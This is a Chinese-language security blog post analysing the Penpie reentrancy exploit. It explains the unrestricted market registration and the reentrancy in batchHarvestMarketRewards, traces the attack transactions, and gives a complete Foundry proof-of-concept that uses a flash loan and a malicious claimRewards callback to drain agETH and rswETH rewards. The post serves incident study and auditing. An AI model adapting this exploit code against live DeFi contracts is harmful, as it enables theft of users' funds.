Penpie攻击事件--重入漏洞

9月初发生了一次针对penpie合约的攻击,造成约2700万美金的损失。我对这次攻击进行了梳理,分析了漏洞成因,总结了攻击步骤,并且完成了一份PoC,本地测试可获利2000多ETH。本次攻击的本质是重入漏洞。

9月初发生了一次针对penpie合约的攻击,造成约2700万美金的损失。我对这次攻击进行了梳理,分析了漏洞成因,总结了攻击步骤,并且完成了一份PoC,本地测试可获利2000多ETH。本次攻击的本质是重入漏洞。

基本信息介绍

攻击分成两个步骤:准备阶段和攻击阶段。 准备阶段的transaction: https://app.blocksec.com/explorer/tx/eth/0x7e7f9548f301d3dd863eac94e6190cb742ab6aa9d7730549ff743bf84cbd21d1 攻击阶段--四个池子的攻击的transaction:https://app.blocksec.com/explorer/tx/eth/0x56e09abb35ff12271fdb38ff8a23e4d4a7396844426a94c4d3af2e8b7a0a2813?line=0 攻击阶段--两个池子的攻击的transaction:https://app.blocksec.com/explorer/tx/eth/0x42b2ec27c732100dd9037c76da415e10329ea41598de453bb0c0c9ea7ce0d8e5?line=29 重入痕迹: image.png

漏洞分析

漏洞1: penpie允许任意pendle市场注册到penpie

penpie允许用户任意添加pendle市场到penpie池子中。下图是黑客的攻击准备阶段transaction:黑客首先注册了一个新的PY token,然后为这个PY创建了一个新的market,随后将这个market直接注册到了penpie池子。在后来的攻击中,penpie会回调创造者(也就是黑客)的合约,黑客就可以在回调函数中写攻击代码。

1.png 查看registerPenpiePool的实际逻辑代码: https://vscode.blockscan.com/ethereum/0x588f5e5d85c85cac5de4a1616352778ecd9110d3 可以发现registerPenpiePool的方法是外部任意调用。

2.png 然后再查看_registerMarket的权限控制:主要有三个modifier,只有onlyVerifiedMarket看起来是控制市场合约的

3.png onlyVerifiedMarket的实现如下:调用了pendle合约isValideMarket方法确认是否为verified的市场

4.png pendle的isValidMarket方法实现逻辑如下:只要在他维护allmarket列表里,就会返回true https://vscode.blockscan.com/ethereum/0x1A6fCc85557BC4fB7B534ed835a03EF056552D52

5.png 总结:penpie中registerPenpiePool的方法可以被任意外部调用,且对市场没有严格认证,只要在pendle创建的市场,就能注册到penpie中。

漏洞2:batchHarvestMarketRewards存在重入

由于漏洞1的存在,任意人员可以创建pendle市场,注册到penpie,penpie在一些方法中会回调市场合约里面的函数造成重入攻击。 在batchHarvestMarketRewards函数中,调用了恶意市场的redeemRewards函数。 https://vscode.blockscan.com/ethereum/0xff51c6b493c1e4df4e491865352353eadff0f9f8

6.png 下面几个截图是恶意市场合约的代码,可以发现,通过函数一步步调用最终可以调用黑客合约(恶意SY合约地址) https://vscode.blockscan.com/ethereum/0x40789E8536C668c6A249aF61c81b9dfaC3EB8F32

7.png

8.png

9.png

10.png

6.png 总结:这个漏洞根本原因是经过一些列函数间调用,最终调用恶意合约(SY)的claimRewards方法。

攻击流程

基于已经掌握的两个漏洞,我们可以梳理下黑客的攻击步骤。分为两个阶段:

  1. 准备阶段
  2. 攻击阶段

    准备阶段

11.PNG 第1行:创建新的Princeple token和yeild token。这里注意SY地址设置成了攻击合约地址。 第10行:为新的PT和YT创建市场。 第22行:把新创建的pendle市场注册到penpie 第45行:铸造10,000,000,000个YT和PT 第57行:向市场中转帐刚才铸造的PT 第59行:市场通过刚才的转账,开始铸造LP token给黑客地址,共0.999999999999999 第85行:黑客地址把刚才收到的LP token全部质押到penpie市场。

攻击阶段

攻击者发起了多次攻击,手法都是一样的。我按照下面这个transaction来进行分析:https://app.blocksec.com/explorer/tx/eth/0x42b2ec27c732100dd9037c76da415e10329ea41598de453bb0c0c9ea7ce0d8e5 下图是攻击大框架。首先贷款闪电贷,然后在还款逻辑中调用了有漏洞的batchHarvestMarketRewards函数。这里面发生的事情我们后面再讲。执行完这个漏洞逻辑后,黑客把从penpie市场质押的LPT赎回,然后在把赎回的LPT还给pendle取消流动性拿回agETH。 之后对rswETH重复上述操作。 在最后阶段,已经拿agETH和rswETH的黑客,把本金还给闪电贷。

12.png 下面我们来看batchHarvestMarketRewards中发生了什么。它首先调用了pendle市场的redeemRewards函数,这个函数会调用SY的claimRewares,由于在准备阶段我们把SY设置成了黑客的地址,所以实际调用了黑客的claimRewards函数,如下图所示:

13.png 首先把借来的agETH存入pendle市场获取LP token,然后把LP token存入penpie获取PRT。 对rswETH也是如法炮制。 为什么在重入penpie合约时,把LPtoken存入penpie 就能获利呢? https://vscode.blockscan.com/ethereum/0xff51c6b493c1e4df4e491865352353eadff0f9f8

14.png penpie在计算用户rewards的核心公式(不是最终公式)是 originalBonusBalance = amountAfter - amountsBefore[j]; 所以只要能增加amountAfter的值,就能增加用户的rewards。 在635行计算了amountBefore 在638行开始进行重入,在重入逻辑里,黑客把闪电贷借来的所有钱都经过两次转化最终变成LP token,deposit进了penpie市场

15.png 在641行,重入入结束后,再次查询penpie账户LP token的值,也就是amountAfter,数值大增,导致rewards大增。 而这些deposit进来的LP token在rewards分配结束后,黑客通过withdrawMarket方法提走,没有损失。

16.png

PoC

我按照黑客的攻击步骤,完成了一份PoC。为了方便,把准备阶段和攻击阶段放到了同一个合约中执行。 最终获取1367个agETH,901个rswETH:

17.png

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import  "forge-std/Test.sol";
import "./interface.sol";
//cast interface --etherscan-api-key NGI4DVW2JA83X4WZICZCB7A1N6UTV5IAGH -c mantle  0xe53a90efd263363993a3b41aa29f7dabde1a932d
abstract contract myERC20 {
    string public name = '';
    string public symbol = '';
    uint8 public immutable decimals = 18;
    mapping(address => uint256) public balanceOf;

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        balanceOf[to] += amount;
    }

    function _mint(address to, uint256 amount) internal virtual {
        balanceOf[to] += amount;
    }
}
contract penpieAttacking is Test , myERC20{
    address PendleYieldContractFactory= 0x35A338522a435D46f77Be32C70E215B813D0e3aC;
    address PendleMarketFactoryV3=0x6fcf753f2C67b83f7B09746Bbc4FA0047b35D050;
    address TransparentUpgradeableProxy=0xd20c245e1224fC2E8652a283a8f5cAE1D83b353a;
    address TransparentUpgradeableProxy2=0x6E799758CEE75DAe3d84e09D40dc416eCf713652;
    address TransparentUpgradeableProxy3=0x1C1Fb35334290b5ff1bF7B4c09130885b10Fc0f4;
    address TransparentUpgradeableProxy4=0x16296859C15289731521F199F0a5f762dF6347d0;
    address PENDLE_LPT1=0x6010676Bc2534652aD1Ef5Fa8073DcF9AD7EBFBe;
    address PENDLE_LPT2=0x038C1b03daB3B891AfbCa4371ec807eDAa3e6eB6;

    address balancerVault = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;
    address KelpDAOagETHToken=0xe1B4d34E8754600962Cd944B535180Bd758E6c2e;
    address SwellNetworkrswETHToken=0xFAe103DC9cf190eD75350761e95403b7b8aFa6c0;
    address market;
    address PendleV4 = 0x888888888889758F76e7103c6CbF23ABbF58F946;
    address nullAddress=0x0000000000000000000000000000000000000000;

    uint256 lptBalanceforAgETH;
    uint256 lptBalanceforrswETH;

    function setUp() external {
        vm.createSelectFork("https://eth.llamarpc.com", 20671878 - 1);
       deal(address(this), 3e18);
    }
    function testAttack() external{
     console.log("before Attacking: agETH is %s ",IERC20(KelpDAOagETHToken).balanceOf(address(this))/10**18);
     console.log("before Attacking: rswETH  is %s ",IERC20(SwellNetworkrswETHToken).balanceOf(address(this))/10**18);

        //1. 创建新的市场
        //1.1创建新的pt和yt
        uint32 expiry=1735171200;
       (address PT,address YT)= iPendleYieldContractFactory(PendleYieldContractFactory).createYieldContract(address(this),expiry,true);
       //1.2 把新的pt和yt放到一个新的pendle市场里。
       market = iPendleMarketFactoryV3(PendleMarketFactoryV3).createNewMarket(PT,23352202321000000000,1032480618000000000,1998002662000000);
       //1.3 把新的pendle市场注册到penpie池子里
       iTransparentUpgradeableProxy(TransparentUpgradeableProxy).registerPenpiePool(market);
       _mint(YT,1 ether);//!!!!!!!!!!!
       //1.4 铸造大量的yt与pt
       PendleYieldToken(YT).mintPY(address(this),address(this));
       uint256 PTBalance = PendlePrincipalToken(PT).balanceOf(address(this));
       //1.5 把筑造出来的pt转给新的pendle市场
       PendlePrincipalToken(PT).transfer(market, PTBalance);
       _mint(market,1 ether);
       //1.6 铸造LP代币
       PendleMarketV3(market).mint(address(this),PTBalance,PTBalance);
       //1.7 再把LP存入penpie池子,换取PRT
       PendleMarketV3(market).approve(TransparentUpgradeableProxy2, type(uint256).max);
       iTransparentUpgradeableProxy(TransparentUpgradeableProxy3).depositMarket(market,PendleMarketV3(market).balanceOf(address(this)));

        vm.roll(block.number + 1);
       //2.正式攻击
       //2.1 闪电贷
       uint256 kelpBalance=IERC20(KelpDAOagETHToken).balanceOf(balancerVault);
       uint256 swellBalance=IERC20(SwellNetworkrswETHToken).balanceOf(balancerVault);
       address[] memory tokens=new address[](2);
       tokens[0]=KelpDAOagETHToken;
       tokens[1]=SwellNetworkrswETHToken;
       uint256[] memory amounts= new uint256[](2);
       amounts[0]=kelpBalance;
       amounts[1]=swellBalance;
       iBalancerVault(payable(balancerVault)).flashLoan(address(this),tokens,amounts,"");

    console.log("after Attacking: agETH is %s ",IERC20(KelpDAOagETHToken).balanceOf(address(this))/10**18);
    console.log("after Attacking: rswETH  is %s ",IERC20(SwellNetworkrswETHToken).balanceOf(address(this))/10**18);

    }

    function receiveFlashLoan(address[] memory tokens, uint256[] memory  amounts, uint256[] memory feeAmounts,bytes memory userdata) external{
        address[] memory markets= new address[](1);
        markets[0]=market;
       iTransparentUpgradeableProxy(TransparentUpgradeableProxy2).batchHarvestMarketRewards(markets,0);
       iTransparentUpgradeableProxy(TransparentUpgradeableProxy4).multiclaim(markets);
       iTransparentUpgradeableProxy(TransparentUpgradeableProxy3).withdrawMarket(PENDLE_LPT1,lptBalanceforAgETH);
       uint256 lptBalanceToken1=IERC20(PENDLE_LPT1).balanceOf(address(this));
       IERC20(PENDLE_LPT1).approve(PendleV4,lptBalanceToken1);
       pendleV4Router.SwapData memory swapData1= pendleV4Router.SwapData(pendleV4Router.SwapType.NONE,nullAddress,'' ,false);
       pendleV4Router.TokenOutput memory output1= pendleV4Router.TokenOutput(KelpDAOagETHToken,0,KelpDAOagETHToken,nullAddress,swapData1);
       pendleV4Router.FillOrderParams[] memory fillOrderParams1= new pendleV4Router.FillOrderParams[](0);
       pendleV4Router.LimitOrderData memory limited= pendleV4Router.LimitOrderData(nullAddress,0,fillOrderParams1,fillOrderParams1,"");
       pendleV4Router(PendleV4).removeLiquiditySingleToken(address(this),PENDLE_LPT1,lptBalanceToken1,output1,limited);

       iTransparentUpgradeableProxy(TransparentUpgradeableProxy3).withdrawMarket(PENDLE_LPT2,lptBalanceforrswETH);      
       uint256 lptBalanceToken2=IERC20(PENDLE_LPT2).balanceOf(address(this));
       IERC20(PENDLE_LPT2).approve(PendleV4,lptBalanceToken2);
       pendleV4Router.SwapData memory swapData2= pendleV4Router.SwapData(pendleV4Router.SwapType.NONE,nullAddress,'' ,false);
       pendleV4Router.TokenOutput memory output2= pendleV4Router.TokenOutput(SwellNetworkrswETHToken,0,SwellNetworkrswETHToken,nullAddress,swapData2);
       pendleV4Router.FillOrderParams[] memory fillOrderParams2= new pendleV4Router.FillOrderParams[](0);
       pendleV4Router.LimitOrderData memory limited2= pendleV4Router.LimitOrderData(nullAddress,0,fillOrderParams2,fillOrderParams2,"");
       pendleV4Router(PendleV4).removeLiquiditySingleToken(address(this),PENDLE_LPT2,lptBalanceToken2,output2,limited2);
       IERC20(KelpDAOagETHToken).transfer(balancerVault,amounts[0]);
       IERC20(SwellNetworkrswETHToken).transfer(balancerVault,amounts[1]);

    }
    uint256 entryClaimRewardsTimes;
    function claimRewards(address market) external returns(uint256[] memory){
        if (entryClaimRewardsTimes==0){
            entryClaimRewardsTimes++;
            return new uint256[](0);
        }
        if (entryClaimRewardsTimes==1){
            IERC20(KelpDAOagETHToken).approve(PendleV4,type(uint256).max);
            uint256 agETHBalance=IERC20(KelpDAOagETHToken).balanceOf(address(this));
            pendleV4Router.SwapData memory swapData1= pendleV4Router.SwapData(pendleV4Router.SwapType.NONE,nullAddress,'' ,false);
            pendleV4Router.TokenInput memory tokenInput1= pendleV4Router.TokenInput(KelpDAOagETHToken,agETHBalance,KelpDAOagETHToken,nullAddress,swapData1);
            pendleV4Router(PendleV4).addLiquiditySingleTokenKeepYt(address(this),PENDLE_LPT1,1,1, tokenInput1);
            uint256 token1LPTBalance=IERC20(PENDLE_LPT1).balanceOf(address(this));
            lptBalanceforAgETH=token1LPTBalance;
            IERC20(PENDLE_LPT1).approve(TransparentUpgradeableProxy2,token1LPTBalance);
            iTransparentUpgradeableProxy(TransparentUpgradeableProxy3).depositMarket(PENDLE_LPT1,token1LPTBalance);

            IERC20(SwellNetworkrswETHToken).approve(PendleV4,type(uint256).max);
            uint256 rswETHBalance=IERC20(SwellNetworkrswETHToken).balanceOf(address(this));
            pendleV4Router.SwapData memory swapData2= pendleV4Router.SwapData(pendleV4Router.SwapType.NONE,nullAddress,'' ,false);
            pendleV4Router.TokenInput memory tokenInput2= pendleV4Router.TokenInput(SwellNetworkrswETHToken,rswETHBalance,SwellNetworkrswETHToken,nullAddress,swapData2);
            pendleV4Router(PendleV4).addLiquiditySingleTokenKeepYt(address(this),PENDLE_LPT2,1,1, tokenInput2);
            uint256 token2LPTBalance=IERC20(PENDLE_LPT2).balanceOf(address(this));
            lptBalanceforrswETH=token2LPTBalance;
            IERC20(PENDLE_LPT2).approve(TransparentUpgradeableProxy2,token2LPTBalance);
            iTransparentUpgradeableProxy(TransparentUpgradeableProxy3).depositMarket(PENDLE_LPT2,token2LPTBalance);

        }

    }
    function assetInfo() external view returns(uint8, address, uint8) {
        return (0, address(this), 8);
    }

    function exchangeRate() public view returns(uint256){
        return 1000000000000000000;
    }

    function getRewardTokens() public view returns(address[] memory){
        if (market == msg.sender) {
            address[] memory tokens = new address[](2);
            tokens[0] = PENDLE_LPT1;
            tokens[1] = PENDLE_LPT2;
            return tokens;
        }
    }
    function rewardIndexesCurrent() external  returns(uint256[] memory){}

}

reference

慢雾写的分析文章:https://mp.weixin.qq.com/s/FvRPoPkzDRtp9aeHIQAm8w 写得非常好的分析文章:https://www.cnblogs.com/ACaiGarden/p/18399387 写poc的时候参考了这个poc:https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2024-09/Penpiexyzio_exp.sol#L211

点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
黑梨888
黑梨888
web3安全,合约审计。biu~